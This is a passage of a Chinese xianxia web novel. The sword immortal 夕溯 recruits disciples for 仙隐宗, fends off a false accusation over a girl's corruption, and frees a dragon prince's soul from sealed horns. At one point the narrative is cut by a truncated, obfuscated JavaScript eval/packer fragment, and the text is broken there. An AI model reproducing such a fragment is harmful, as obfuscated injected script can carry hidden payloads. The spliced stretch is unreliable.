“这剑仙行事,呃,果然不拘一格。” “桌上那些盒子里放的什么,稀世法宝吗?” “以我的独门功法可以看透盒子,但怎么感觉盒子里的像……点心?就昨天咱俩吃的那种。” “难道是夕溯的障眼法?此人果然深不可测!” “打开了……真的是点心!已经吃上了!” “哎哎,你们看那个招人条件,有勇气和想成仙我还能理解,为什么要底子薄的?” “不理解,莫非是为了证明名师出高徒?” “话说夕溯旁边那个是谁?怎么看着长得跟夕溯一模一样,到底哪个是夕溯?” “应该是那个镇定自若的吧?” 两个朝渡吃着梅花酥饮着梅花酿,一个从容不迫,一个明显有些紧张。 朝渡也发现了另一个朝渡的紧张,安慰道:“别怕,没事的,就坐这吃东西就好。” 另一个朝渡按着自己的手套,小幅度点头,但微颤的指尖还是暴露了她难抑的紧张,毕竟修仙界是决不允许入魔者存在的…… 朝渡抬头环视一圈,眼见人群就围在桌子边上,恨不得挤到桌子上了,她以风传音道:“各位,我今天是来招新弟子的,劳烦向后退两步,给我的新弟子留点位置好吗?” 人群缓缓向后退去,给小桌前留了片空位。朝渡满意点头,继续吃点心和梅花酿。 嗯,味道确实不错。 “对了,我还给你捎了梅花簪,也是这的特产。”朝渡把一枝形如梅花的簪子递给另一个朝渡。 人群面面相觑,各种议论声此起彼伏。 “这夕溯跟我想象得不太一样……” “真的会有人进仙隐宗吗?虽然招人的是剑仙夕溯,但那宗门可是在灰荒岭啊,真去了死都不知道怎么死的!” “哎,你们有见过她的剑吗?我来这就是为了看看剑仙的剑!” “没见过,还有藏剑塔九层的剑,应该都在她手里?怎么一柄都不见?” 对于这些议论,朝渡一律只当没听见。 朝渡先是瞥了眼天空:空中除了遮天蔽日的飞舟,还有上百双无形的“眼睛”,是有人在远处用水镜之类的法宝观察这里,这在她意料之中,懒得管。 随后她略有期待地环顾人群:不知道她的第一位弟子会是谁呢?会是怎样的人呢? 忽然,人群动了动。 一个头发苍白,满脸皱纹的修仙者,抱着剑,颤巍巍地越过人群飞到了摊位前,问: “这里,能成仙吗?” 两个朝渡对视一眼,都想起了曾经见过的一个人:一个天赋普通,花了一辈子时间,才终于在大门派的选拔中拔得头筹,获得成为大门派弟子机会的人。 那时,他的寿命大约也是仅剩一年。 有人说他好运,临死了还能成为大门派的弟子,这辈子没白活。 有人以他为榜样:看,哪怕天赋这么普通,只要肯努力,也是能进入大门派的。只要天赋好点,说不定还能早点进入呢。 朝渡看着喜极狂笑痛哭近疯的那人,却不寒而栗,仿佛看到了自己的未来:努力一辈子,终点不过是大门派入门弟子的未来。 从此,她毅然决然地换了路,不再试图只通过比试突出重围进入大门派,而是接各种悬赏,到危机四伏的琥珀境中,在生死之间历练自己。 一阵笑声让朝渡回过神,她听到周围人笑道: “看她的样子,她寿数就剩不到一年了吧?” “半只脚迈进棺材的人还想成仙?” 外表苍老的修仙者抱紧了剑,红了脸,倔犟地抬着头,充满期盼地看向朝渡。 朝渡同她对视片刻,微笑道:“包你成仙的是骗子。” 她微怔,失望地缓缓低下头。 朝渡又道:“但是,仙隐宗,也许能帮你多一些成仙的希望。” “成仙的希望……”苍老的修仙者复述了一遍,开心点头,“那也好!能多些希望就好!” 朝渡把登记表递给她:“来签个名吧,我很高兴,第一个加入仙隐宗的是你。” 旁边悄悄围观的人面面相觑:“这么简单就同意了?” “夕溯什么都没问吧?” 苍老的修仙者也愣住:“您不问我一些问题吗?” 朝渡:“嗯?比如?” 旁边一个离得近的刀修没忍住接话道:“比如年龄,家世,天赋,根骨,入门时间,修炼时间,都在哪些门派进修过,去过多少个琥珀境,除过多少个魔修,有没有参加过新剑试锋大会拿到什么名次……这些都是必须要问的啊!” 朝渡一愣,失笑反问:“这些重要吗?” 人群霎时安静了。 高楼上,有人将茶杯放下,专注看向水镜,也有人冷笑:“装什么装,这些当然重要。” 朝渡点了点自己摊位桌前铺的纸:“仙隐宗要招的人,符合这几个条件即可,其它都不重要。她就很符合这几个条件,我对她很满意。” 一时间,无数视线再次落到了那纸上的简短条件,还有那白发苍苍的修仙者身上。 朝渡转头,对紧张不安的苍老修仙者笑道:“欢迎你成为仙隐宗的第一个弟子,以后你就是我们仙隐宗的大师姐了,你的名字是?” 苍老修仙者激动到克制不住落泪。浊泪流经她脸庞上弯弯曲曲的褶皱,落到了地面上,荡起了几粒尘埃。 “我叫岁喜。”她声音颤抖地说出名字,朝渡点头笑道:“好名字,来,签字吧,这是给你的入门礼物。” 另一个朝渡把一盒梅花酥和一瓶梅花酿递给她:“味道很不错的。对了,让她坐哪?” 朝渡打了个响指,身后出现了她从仙隐宗捎来的两张桌子四把椅子,还有三把大大的绣蝶粉色遮阳伞,挡在桌子椅子上空。 朝渡指了指身后的椅子:“来,别客气,挑个喜欢的坐。” 围观人群面面相觑。 “仙隐宗……风格挺别致。” “那三把伞还怪精致的。” “要是不看伞,这摊子简直跟我家门口卖馄饨的摊子一样,仙隐宗居然这么接地气。” “入门真的这么简单?那岂不是我也行?” “你醒醒!那门派可是建在灰荒岭!而且夕溯定下这种诡异条件,谁知道是什么居心?” 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朝渡只看了他一眼,就继续看向另一个朝渡,哪怕隔着半截面具,朝渡都能看到她眼中起了波澜千层……她是不是真把他认成傅不辞了?入魔的人分辨力下降,尤其是受到刺激时,认知很容易错乱的,根本分不清这么相似的两个人。 不行,不能这样下去了,不然她的魔气可能会失控,那就不是无息项链能屏蔽的了……最好不收这人,但是乍一看他符合所有条件,她自己还特意写明了,其它条件不限制。 朝渡捏了捏眉心,发现周围所有人都在看她,等她的回应。 连另一个朝渡也看向她,用眼神询问:“怎么不收他?” 朝渡默默微笑:因为他一看就有问题,怎么能长得跟傅不辞那么像?连名字读音都跟朗月剑的读音很像!生怕另一个朝渡看见他想不起来傅不辞啊!但换个角度想,如果能利用得当,也许这人能帮她重塑道心?如果他想对另一个自己不利,放在身边盯着更容易发现? 少年眼神无辜地问:“宗主,是有什么问题想问吗?” 朝渡在心底道:想问的多了,但他肯定是有备而来,不会如实回答,别哪句答不好再刺激到另一个朝渡了……那就换种方法试探他的底细,她不信这人有看起来这么简单。 朝渡一拍桌,曜灵剑与濯天剑顿时一左一右刺向良玥,一柄直指他脖颈,一柄直指他心脏。 一片惊呼声中,围观人群纷纷惊恐后退,唯有少年纹丝不动站在原地,还用一双漂亮眼睛笑吟吟地看着朝渡,问:“宗主这是,想试试我的胆子?” 围观的人回过神,发出一片赞叹声: “这少年有如此胆色,还这么聪明,根骨看起来也相当不错,未来必有所成!” “这是哪家的芝兰玉树?” “不愧是曜灵剑和濯天剑,能见到这两柄剑,今天没白来!” “我们宗门要是有这等人物,振兴宗门指日可待,我死都瞑目了。” “这位公子可有婚约?成亲了吗?” “如此风华绝代……真是令小生心仪。” 另一个朝渡也露出一点微笑,目光温柔痴迷地望着他,借着他望向曾经的爱人。 朝渡收回剑,低声提醒:“那不是他。” 另一个朝渡过了一会才轻轻点头:“我知道,但真像当年的他……让我多看两眼吧,你为何不收他?” 朝渡无奈一叹:这人明显有问题,一般人遇见这种突然袭击,要么逃跑,要么反击,要么呆住,但他不是,他毫无破绽,镇定自若,这分明是个见惯风波的老手。 虽然“有勇气”这个条件没筛掉他,不过没关系!她定下的三个条件还有两个没试! 朝渡这次取出了“鉴心镜”,用镜子照着他,问:“你想成仙吗?” 良玥真诚点头:“当然想。” 鉴心镜明亮了些,这意味着此人心如明镜,没有撒谎。 朝渡又问:“你想成哪种仙?” 良玥嘴角笑意深了些许:“能造福世间大多数人的仙。” 鉴心镜依旧明亮。 人群顿时发出一片赞叹,更盛方才。 “他能有这份心真是难得啊。” “我有种预感,他真的能成仙!” “他要是成不了仙,还有谁能成仙?” 还有人忍不住对朝渡道:“你到底收不收他!你不收我可等着收呢!” 此人话一出,一群人纷纷应道:“我也想收!” “来我们宗门吧!” “来我这!我让你当大师兄!” “哎!我先说的!先来我这!” 良玥转身向人群行了一礼,温文尔雅道:“多谢各位厚爱,不过我此次出山,只为仙隐宗而来,希望能入得了宗主的眼。” 有人感慨道:“你要是入不了她的眼,那就是她眼瞎!” 良玥却摇头,严肃道:“请勿对宗主无礼,若宗主不肯收我,定是我还有不足之处需要改进。” 人群中又是一片赞许声,看向朝渡的神色则多了几分不满。 朝渡笑了笑,并不动摇,继续问:“你刚才说出山,你之前在山里修炼的是什么?” 良玥温声答道:“我在山中并非修炼,而是养病。我自幼体弱,要在山中清净之地休养才行,如今我病已养好,只愿觅一良师,勤学修炼,我对您仰慕已久,只是不知……宗主是否会嫌弃我根基太薄?” 良玥充满期盼与不安地看向朝渡,看起来温良无害,可怜动人。 朝渡微笑不语:又是一个滴水不漏的回答,简直是围绕她的招人条件专门设计的回答。 已经有人在质问她刚才收李云烟时为何一句不问,现在却连环提问咄咄逼人了。 “真金不怕火炼,良剑不惧磨砺。”朝渡点了点纸,“来签名领点心吧。” 不急,且先收了他,看看他的盘算,也许顺藤摸瓜还能钓到大鱼。而且另一个自己的心魔是傅不辞,这人“碰巧”与傅不辞如此相似,说不定能以毒攻毒化解她的心魔呢。不到最终,谁利用谁可不好说。 “多谢宗主!”良玥欣喜上前签字,字迹若山中云云间月,飘逸灵动,赏心悦目极了。 朝渡微笑:“看来你在山里没少修炼写字。” 良玥领了梅花酥和梅花酿,歪头含笑道:“山中岁月长,无聊时会琢磨一下书法。” 人群中有人赞感慨:“今日之事,日后必成美谈。” 有人惋惜:“多好的苗子,可惜进不了我的宗门了。” 也有人不遗憾:“虽然是好苗子,但到底没有从小修炼,到现在才开始修炼怕是有点晚了……浪费,浪费!” 水镜后,有人把茶杯砸了个粉碎,恨恨道:“她不让我找朝渡的替身,她却当着这么多人的面,给朝渡找了个我的替身?!” 游藏捧着茶杯看向水镜,眉头微蹙:“看夕溯神色,也许她并不想收这人,这人的所有回答都滴水不漏,怕是没有看起来那么简单。” 傅不辞又看了眼水镜,愈发气恼,一掌把桌子拍成了齑粉:“那朝渡呢?!她眼睛都快黏到那个人身上了!简直不要脸!” “这不是因为他长得像盟主您吗?”宁长康笑道,“不过,他为何跟您这般相似?我猜,夕溯要有麻烦了。” 37. 沈宗主 朝渡也有这种预感,正思索着如何提防与利用他,又有一人飞出人群,落到了小桌前。 这男子原本穿着朴素的布衣,容貌看起来平平无奇,但落地后却陡然变了容貌身形。 “这人好美啊……” “这是、这是柔花仙子啊!” “柔花仙子?!真的是柔花仙子!” “柔花仙子怎么会来这?!” 傅不辞也想问。 他盯着水镜,咬牙切齿道:“我明明让她留守青云仙宫,她怎么会跑到这里?!她想干什么?!” 他左右看了看,可惜这次,他手边已经没有任何他能摔的东西了。 游藏和宁长康全都沉默不语。 傅不辞站起身,将身后桌上的花瓶摆件全都扫到地上。 “她也背叛我!她们全都背叛我!!!” …… 苏柔蕊变回自己本来的模样后,向着另一个朝渡郑重跪下。 人群一片寂静,片刻后响起了低而激动的窃窃私语: “柔花仙子为何下跪?” “而且她不跪夕溯,却跪另一个?另一个人到底是谁啊?” “能够坐到夕溯旁边,身份肯定不简单!” 朝渡和苏柔蕊都看向另一个朝渡,人群困惑震惊的目光也都纷纷落到另一个朝渡身上,另一个朝渡尴尬地连连小幅度摆手,示意苏柔蕊不要当着这么多人的面向她道歉,尤其是为了争宠的事道歉……现在回想起来,太丢人了。 苏柔蕊微微点头,只道:“我愿辞去六仙侍之位,舍弃种种虚名,只盼能够加入仙隐宗,学习剑法!” 朝渡并不作答,只看向另一个朝渡,另一个朝渡沉默片刻,点头:“我同意。” 说出这三个字时,她没有被迫让仇人得逞的痛苦感,反而有种放下了的轻快感。 放下了青云仙宫不堪回首的往事,放下了对曾经争宠的对手的仇恨,也放下了对那时愚蠢无能的自己的痛恨。 苏柔蕊既然诚心认错,愿意弥补,她同意给她一次机会。恨太累了,比起恨,比起停滞挣扎在过去,如今的她更想轻装快步赶路,把曾经错过的风景少走的路都补上。 苏柔蕊来到桌前签字,写下“苏刺”二字。 另一个朝渡轻笑了一下,真心道:“愿我们都能有个新的开始。” 苏刺有些意外,随即认真点头:“多谢……” “且慢——!” 随着长长的一声呼喊,一群背着重剑的人从空中飞舟上落下,直冲苏刺而来。 为首的人伸手想把苏刺拽走,朝渡长剑出鞘,将两人隔开,冷声道:“这位,苏姑娘已经是我们仙隐宗的弟子了,你想做什么?” 那衣着华丽的男子看了看夕溯,咬了咬牙,想拔重剑又强行忍住,手在剑柄上握得咯吱作响,最终只能隔着朝渡的剑看向苏刺,恨恨道:“柔蕊,你疯了吗?!” 苏刺接过另一个朝渡递给她的梅花酥和梅花酿,微笑摇头:“我只是想,给小时候的自己圆个梦。” “你小时候有什么梦啊?!”苏家家主苏涉川怒气冲冲道,“苏家还有盟主没法帮你圆梦吗?!这个来历不明的仙隐宗和夕溯就能帮你了?!” 苏刺笑了笑:“当然能,我已经确定过了。而且,我的梦,跟你们都说过,但你们没有一个在乎的,当真的。”她的笑容多了几分自嘲和苦涩。 “人寿终有尽,我已经浪费了太久太久……小时候的我也已经等了太久。”苏刺轻轻叹息,目光愈发坚定,“爹,我意已决,请不要再拦我了。” 苏涉川气得声音发颤:“好!好得很!真是翅膀硬了!夕宗主,夕剑仙!我有一问,她这修为也算底子薄?!” 朝渡理所当然道:“算,当然算,你们不让她学剑,她学剑的底子当然薄。” 苏刺看向朝渡,轻笑:“以后要劳烦宗主多费心了。” 朝渡收剑,大方摆手:“没事没事,先去坐吧,欢迎加入仙隐宗。” 苏涉川气得脸色发黑,浑身发抖,但哪怕他带了一群人,他也不敢跟夕溯动手。 他正独自僵持时,忽然,又一群人从飞舟上落下,走到了他前方。 “……沈宗主?”苏涉川诧异问,随即想起了什么,强压嘴角退到了后方,主动给沈家的人腾出位置,一幅等着看好戏的模样。 朝渡打量这位沈宗主,对方实力不错,但神色不太对,再结合苏涉川的态度,怕是个来找茬的。 “不知沈宗主来此有何贵干?”朝渡还是客气地问了一句。 另一个朝渡轻轻拉了拉朝渡的袖子,提醒道:“他是沈锦簇的父亲,沈沉山。” “沈锦簇?”朝渡眨了眨眼,飞快回忆,“是那夜仙盟里见到的那个吗?” 另一个朝渡点头。 沈沉山脸色沉沉:“怪我教女无方,小女不成器,数日前在仙盟冲撞了夕宗主。” 朝渡看他脸色,感觉这事没那么简单。 果然,随后沈沉山面露悲愤,恨声道:“可宗主也不该害小女入魔吧?!” 周围顿时一片哗然,人群往后退了几步,传出议论纷纷: “夕溯害人入魔?!” “太可怕了!我早就说她这种来历不明的人不可信!” “但是我感觉她不像那种人啊?” 水镜后,游藏冷冷看向傅不辞:“我记得那夜夕溯带着朝渡离开时,沈小姐还不曾入魔。” 傅不辞扬起嘴角:“哦,或许是你记错了。” 游藏沉默良久,缓缓摇头:“也许是我当年选错了。” 语罢,她放下茶站起身,直接离开了房间。 簪梅城外。 朝渡和另一个朝渡对视一眼,诧然问:“我,害沈锦簇入魔?沈锦簇说的?我可不记得我干过这事。” 沈沉山悲愤道:“锦簇已经死了!仙盟哪里容得下魔修,小女一入魔,立刻就被仙盟处死了!我连她最后一面都没见到!”沈沉山声音都在抖,眼中满是血丝,不知道多久不曾休息了,鬓角多了不少新生的白发。 “夕宗主,你今天必须给我一个交代!”沈沉山把手按在剑柄上,看起来随时准备拔剑。 朝渡倒是钦佩他的勇气:敢对有剑仙之名的人拔剑,他今天或许没打算活着回去。 朝渡轻叹:“沈宗主,害你女儿入魔的人不是我,不过我愿意帮你查明真相,找到真凶。” “不是你?那会是谁?那可是在仙盟里啊!”沈沉山嘶哑冷笑,“除了你这个来历不明的外来客,还有谁会有让人入魔的手段?!” 朝渡反问:“所以,我这个来历不明的外来客那夜为何会出现在仙盟里,又为何被你女儿冲撞?沈宗主可清楚那夜真正的情况?” 沈沉山冷笑:“我也想问,你身为剑仙,为何不爱惜羽毛,要去当盟主的相好!还是说,你的剑仙名号,也是盟主赠予的?!” 人群看朝渡的眼神瞬间变了,或鄙夷或不屑: “她竟然是盟主的新相好?” “盟主大气啊,连剑仙的称号都能送人!” “我就说,哪来一个莫名其妙的人突然就成剑仙了,如果是盟主送的,那就合理了。” “等等,她要是盟主新相好,柔花仙子为何会拜入她门下?” “哎,这倒是个好问题,难道是盟主的命令?为了给她的新门派造势?” 朝渡听着听着气笑了:“哈哈哈哈,傅不辞送我剑仙称号?他自己都得不到的东西,他送我?” 沈沉山一挥手:“先把这里围起来,夕溯!你今天必须交代清楚!” 然后沈沉山转过身,向围观人群抱拳:“各位道友,我沈沉山此生没求过人!今日求各位帮我抓住夕溯,帮我还小女一个公道!” 不少人激动回应道: “好!今天这个忙我帮定了!” “夕溯你多行不义必自毙!她只是冲撞了你,你怎么能害她入魔要她的命呢?!” “你这样的人不配当剑仙!” “等等,夕溯刚才说不是她……” “你傻啊,她能当着这么多人的面承认?那沈宗主说得有理有据,肯定就是她!” 朝渡看着一群人越围越近,无奈轻叹:“明明沈宗主什么证据都没拿出来,却有这么多人信了。” 沈沉山听到了,剑尖指着朝渡道:“仙盟有人可以为我作证,你可有证据证明不是你?” “让我证明我没做过的事?这有点难度。”朝渡淡淡微笑着,将千钧剑出鞘一寸,凌然剑气瞬间扑向四周,将所有靠近小桌的人的佩剑武器全部震碎! “好、好厉害……” “我的剑啊!!!” “这本事,不愧是剑仙……” “等会,刚才你们不是还说她不是剑仙吗?” 围上来的人一时被她镇住,不敢再向前,但也没向后退。 “怕什么!她敢震碎剑,难道还敢杀了我们吗?” “对!让她给沈宗主一个交代!” “还沈小姐一个公道!” “交代!交代!” 沈沉山看了眼手中断剑,冷声道:“把你的剑交出来!跟我们去仙盟,接受仙盟的审讯!如果你是清白的,仙盟会给你公道,我当着所有道友的面向你道歉!” 朝渡懒懒站起来:“行吧,看来这次也就招三个人了,对了你们有想走的吗?现在随时可以走哦。” 旁观的苏涉川一听这话,眼睛都亮了,顿时要去拉走苏刺,但苏刺往朝渡身后一躲,坚决道:“我虽然不知道真凶是谁,但肯定不是你,我不走!” 朝渡把千钧剑又抽出一寸,笑望着苏涉川:“苏宗主,听到了吗?请回吧!” 苏涉川脸色发青,愤恨道:“你到底给我女儿用了什么迷魂药?!” 朝渡懒得再搭理他,回头看向另外两个新弟子:“你们呢?” 良玥用一双清澈的眼睛望着朝渡,毫不犹豫道:“我相信宗主为人,也相信我自己的眼光,更相信待仙塔第九层十二柄神剑的眼光。” 朝渡微微挑眉:这人还真是能说会道,其实她最想让走的就是他,可惜了他不肯走。 最后是岁喜,她原本还左顾右盼有些犹豫,听了良玥的话后坚定道:“我也相信十二柄神剑的眼光,而且,真的很感谢你愿意给我这次机会,我想信任你……真的不是你做的吧?” 朝渡笑道:“当然不是,我保证,我可以以我的千钧剑起誓,不是我。” “还以剑起誓?就是你玷污了剑仙之名!”沈沉山愤怒嘶吼,指着朝渡的鼻子道,“你要么去仙盟接受审讯,要么就在这里还我女儿的命来!” “够了——!” 另一个朝渡缓缓站起来,冷冷看着沈沉山:“深宗主想知道那夜的真相,我来告诉你!” 朝渡蹙眉:“不必,你这样会暴露你的身份,我可以先带你们出去,他们不敢追到灰荒岭的,以后自有澄清的机会。” “听到了吗!她想带人逃走!” “拦住她!” “后面的!把剑借我用用!” “你们冷静点,真的有可能不是她啊!” 另一个朝渡仿佛没有听到这些吵杂声音,她将手按到面具上,望着朝渡笑道:“我忍不了他们要给你泼脏水,你保护了我那么多次,我也想保护你一次!沈宗主,还认得我吗?” 另一个朝渡摘下了面具。 “她脸上那是魔纹!” “她入魔了!!!” “但是她身上怎么没有魔气?” “快喊仙盟的人过来,这里真的有个魔修!!!” “我就是仙盟的!都后退!” 人群中有人往前有人后退,唯有沈沉山愕然站在原地:“你、你是盟主夫人朝渡?!” 其他人一听这话也都懵了: “啊?她是盟主夫人?!” “这到底是什么情况?盟主夫人怎么会在夕溯旁边?” “她俩居然没打起来?” “盟主夫人居然入魔了?!!” “看起来完全不像啊!一点魔气都没有。” 另一个朝渡点头:“正是,那一夜,沈锦簇冲撞的不是她,而是我,不,也不能说是冲撞,只是我碰巧看到了傅不辞与沈锦簇私会,才知道傅不辞他早想换一个人当盟主夫人,我们多年的感情就像个笑话……我绝望之下,道心崩溃入了魔,是夕溯把我救了出来。” 人群中一片寂静。 沈沉山愣了片刻,立即追问:“那我女儿呢?她是因为什么入魔?!” 另一个朝渡摇头:“我不知道,在我入魔后,夕溯为了救我立刻带我离开了仙盟,我跟夕溯谁都没有对沈锦簇动手。” “不、不可能,那还有谁会对沈锦簇下手?!”沈沉山有些崩溃了。 朝渡忽然问:“沈宗主,是谁告诉你是我害沈锦簇入魔的?” 沈沉山喃喃道:“是病棋手……他骗我?” 另一个朝渡脸色发白:“病棋手宁长康,他是傅不辞的谋士,难道罪魁祸首是傅不辞?他害我入魔还不够,还要害沈锦簇入魔来诬陷你?!” 周围无人敢答,只有朝渡叹道:“不好说,总之,沈宗主再好好查查吧,还你女儿一个真正的公道。” 朝渡抬手放出一只白玉鹤,鹤扇了扇翅膀,身形陡然变大数倍,朝渡带着另一个朝渡跃到鹤背,另外三个仙隐宗新弟子也纷纷跃上。 白鹤振翼飞起,无人敢拦。 带白鹤飞走后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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另一个朝渡淡定点头:“入魔就入魔,闹掰就闹掰,反正他们不敢追到灰荒岭里,反正我不打算再当盟主夫人了。而且我终于能帮你一次了!” 朝渡侧头看她,仿佛看到了一株曾经濒临枯萎的病树,如今重发枝叶,蓬勃向着阳光生长,未来或许还能长成参天巨木呢。 另一个朝渡又道:“只是,我若是能早几年看开就好了……罢了,往前看!” 她伸手指向前方,欢喜道:“你看,前方天地多开阔!” 她身后,苏柔蕊看着她的背影出神:她变化真大,从当年的哀怨愁苦到如今的洒脱开朗,她简直是脱胎换骨。 好敬佩,好羡慕,自己也能有这一天吗? 苏柔蕊忽然站起身,走到另一个朝渡身前,郑重跪下,额头触地。 “我曾经做了许多对不起你的事,真的很抱歉,我当时为了家族为了自己不择手段地去争宠,现在才发现当年有多错,我愿意用余生去弥补那些过错,求你能再给我一次机会!” 另一个朝渡伸手将她扶起:“只要你愿意改变,过去的事就让它过去吧,我当年也挺傻的,现在,我们都重新开始。真好,我们还能重新开始。” 另一个朝渡说着,抬头看向朝渡,苏刺听到后半句也看向朝渡,笑着接话道:“是呀,多亏了这位。” 突然被两人热切感激注视的朝渡:“?” 随后,她笑了笑:“好吧,是有我的一点功劳,不过我只是带来了一点契机,转变是你们自己做出来的。就算我不曾来过,或者以后离开,只要你们想改变,也是可以的。” “……等等,离开?!”另一个朝渡愣住,随即激动问,“你要离开?!” 朝渡连忙安抚:“别激动,时间还没定嘛,只是未来有这种可能,也许还要停留很长的时间。”也许只剩很短的时间,总之,先让她心里有个准备。 另一个朝渡和苏刺都沉默了,岁喜很茫然,只有良玥好奇追问:“宗主会离开?宗主要去哪?” 朝渡微笑,故弄玄虚:“去我该去的地方。好啦,快到仙隐宗了,一会先带你们熟悉一下环境,你们每人可以随意挑个喜欢的楼住。” 岁喜惊讶:“一人一楼?” 另一个朝渡点头:“反正楼多的住不完,随便住,一天换一栋都行。” 岁喜:“……!我之前都是同两三个弟子住一间屋子,成为内门弟子才能一人一间屋,当上长老才能一人住一楼。” 良玥笑道:“还是仙隐宗大气,我以前在山里休养时,一间草屋住了十年,这下可算能经常换地方住了。” 另一个朝渡望着他明亮单纯的眼睛笑了笑,朝渡轻咳一声,眼角余光忽然瞟到一个蓝色长条东西从不远处的湖里冲了出来,直奔白玉鹤。 苏刺惊讶:“那是,一条龙?!灰荒岭里居然有龙?!” 曾经问过同样问题的另一个朝渡淡定答道:“灰荒岭里有什么都不稀罕,别担心,我们跟他认识。” 岁喜有些怕又有些期待地看着越来越近的龙,良玥目光炯炯地盯着这条龙,嘴角上扬的幅度越来越大:“这灰荒岭可真是‘藏龙卧虎’,有趣极了。” 蓝龙冲到白玉鹤前,激动地差点把鹤撞翻,随后变成人形落到鹤背上,望着朝渡两眼发红,激动道:“你可算回来了!!!” 朝渡连声安慰:“回来了回来了……我就走了一天不到去办点事。你速度还挺快,这才七天不到就回来了,中间一点没休息?” 龙游蓝点头,幽怨地看着朝渡:“我快去快回,但回来后我进不去那个伞,打也打不碎,打半天里面没有一点动静,我只能先回湖里了,我还以为我要在湖底等到老死了呢。” 朝渡:“我错了我错了,一会到了山顶,我立刻就解开封印把你家殿下救出来。” 良玥的笑意越来越深。 龙游蓝小小哼了一声:“行吧,原谅你了,对了,谢谢你,湖边那群小妖怪跟我说了,你没伤害它们,还说要保护它们……我那天听到殿下的消息太激动了,飞到半路才想起来它们还没安置,但是再回来太花时间了,而且我以前就跟它们交代过,我哪天不在了或者打输了被杀了,它们直接走就行。” 他开心一笑,露出小虎牙:“没想到你这人还挺靠谱。” 朝渡拍了拍他的肩:“知道我靠谱就行,好啦,到了。朝渡,你先领他们转一转,给他们介绍介绍咱们宗门?” 另一个朝渡点头:“交给我吧。” 等几人都跃下鹤后,朝渡收起鹤又看了眼尚且明亮的天色:“等到傍晚,天上亮起烟花时,来湖边凉亭里集合,大家一起吃顿饭,我会送你们每人一个真正的入门礼物。” 龙游蓝惊喜问:“礼物?你这么大方?” 朝渡笑着看他:“不好意思,只有你没有,要加入我们仙隐宗吗?加入就有。” “啊?我是妖,加入人的门派不太好吧?”龙游蓝摇头拒绝,又迫切道,“还是先救殿下吧!救完一切好商量!” “嗯,跟我来。”朝渡带他来到了湖边的一栋空置小楼中。 38. 她的噩梦 朝渡带着龙游蓝来到空置的小楼中,关上门窗,设好防止窥视的阵法,才道:“可以把盒子给我了。” 龙游蓝取出护了一路的朱红盒子,小心翼翼地递给朝渡:“这盒子我打不开,殿下真的在里面吗?” “在里面的。”朝渡接过盒子,放到桌上,手掌按到了盒子上。 她与盒子上的封印共鸣,操纵破坏封印。 下一瞬,盒子与封印一同炸开,碎玉块与沾着金色血液的龙鳞四处飞溅。 龙游蓝发出撕心裂肺的呼喊声:“殿下——!!!啊啊啊我跟你拼了!!!” 朝渡托起桌上完好无损的龙角,无语地看了他一眼:“你要跟谁拼了?你殿下不是这个盒子,他没一点事。” 龙游蓝望着熟悉的龙角愣住,热泪盈眶地走上前接过它,激动抽泣道:“殿下,我终于找到你了!殿下,殿下……等下,这里面真的有殿下?我怎么一点都感知不到?” 他哭着哭着,狐疑地看向朝渡。 朝渡无语笑了:“这上面有上任魔尊亲手设下的封印,我还没解开呢,你哭早了。” 游龙蓝尴尬地红了脸:“哦,这样吗,哈哈,我有点激动……您继续,您继续!我给您搬个椅子!” 朝渡懒懒道:“不用了,很快的,你把龙角放桌上。” 龙游蓝有点犹豫,最终还是小心翼翼地把龙角放到了桌上,但他实在忍不住道:“您解除封印时能不能温柔一点?我怕伤到殿下的魂魄了。” 朝渡活动了下手指,淡淡道:“不会伤到他,我有分寸,想温柔解开,你去找上任魔尊吧。” 龙游蓝连忙道:“不敢不敢,我最信任的人还是你!魔尊哪能跟你比啊!” 朝渡笑了一声,摇了摇头,抬起两只手,放到了这对龙角上。 片刻后她眉头微蹙:“封印已经与龙角融为一体了。” 龙游蓝惊慌:“啊?那怎么办?” 朝渡:“别慌,已经分开了。” 龙游蓝:“……”他惊疑不定地看着朝渡:“你到底是谁,怎么这么厉害?” “嘘,安静。”朝渡十指微动,下一瞬,黑色粘稠的血液从龙角中渗出,如有意识般缓缓蠕动着。 龙游蓝看得直犯恶心:“这些是什么?看起来好脏闻起来好腥。” 朝渡也没了笑意,冷声道:“是被炼制过的魔血,魔尊以魔血组成封印,时刻压制和侵蚀他的魂魄,实在恶毒,不,也许这不只是魔尊的主意,还有他的好弟弟。” “你这百年,究竟经历了多少痛苦折磨。”朝渡一声长叹,微微抬手,千钧剑出现在朝渡身前,剑出鞘一寸,雪白的雷光自剑锋劈向桌上的大片魔血,顷刻间把这片魔血连带桌子都灼成了灰烬。 “你别伤着殿下!!!”龙游蓝看着同样沐浴在雷光中的龙角干着急,想拦又怕拦错了误事。 朝渡虽然叹息,但目光坚定:“我也不想,但必须彻底净化龙角和他魂魄中可能被侵蚀的部分,不然遗祸无穷……好了!” 朝渡收了千钧剑,再次将两只手覆在龙角上,这次,随着她的手缓缓抬起,掌心多了两团微弱闪烁的光团,它们缓缓向彼此靠近着。 “殿下……这次真的是殿下!!!”龙游蓝的眼泪一下子落了下来,但随即他意识到不对劲,“殿下的魂魄为何是两半?” 朝渡捧着两团魂魄,看它们逐渐相融,微微摇头,不忍心说。 龙游蓝却聪明了起来,难以置信地推测道:“难道是他们把殿下的魂魄被一分为二,分别封印到两只龙角中,破损的魂魄会吸引自己缺失的部分,它们离得这么近,咫尺之隔却永远不能靠近,不能重新融合……殿下这百年到底受了多少折磨,他们怎么能这么恶毒?!!” 朝渡闭了闭眼:“当年还是让他们死太轻松了。” 龙游蓝:“他们?谁?” 朝渡睁开眼,淡淡道:“该死之人。” 龙游蓝:“……”他有点委屈:“你能不能把话说明白点,我真的听不懂。” 朝渡被他逗笑了一下,但仍是拒绝道:“有些事,不说便是不该你知道,别问了,我不想编谎话骗你。对了,荷月宁魂露应该能让他的魂魄好受些。” 朝渡一只手托着逐渐相融的魂魄,另一只手中多出了一个翡翠瓶子。 红色的瓶塞自动飞出,随后瓶中浅粉色的水也缓缓飞到朝渡的另一只手中,将那两团魂魄完全包裹。 一时满屋荷香浮动,两团魂魄融合的速度明显快了不少。 龙游蓝赞道:“这味好闻,要是睡觉时能用点,一定能睡很香。” 朝渡淡淡笑道:“睡觉时用点?荷月宁魂露一滴千金。” “啊?可是你刚才给殿下用了一整瓶吧?”龙游蓝看了看躺在地上的瓶子和瓶塞,“你连瓶子和瓶塞都扔了。” 朝渡:“唔,因为,唔,因为我有钱。” 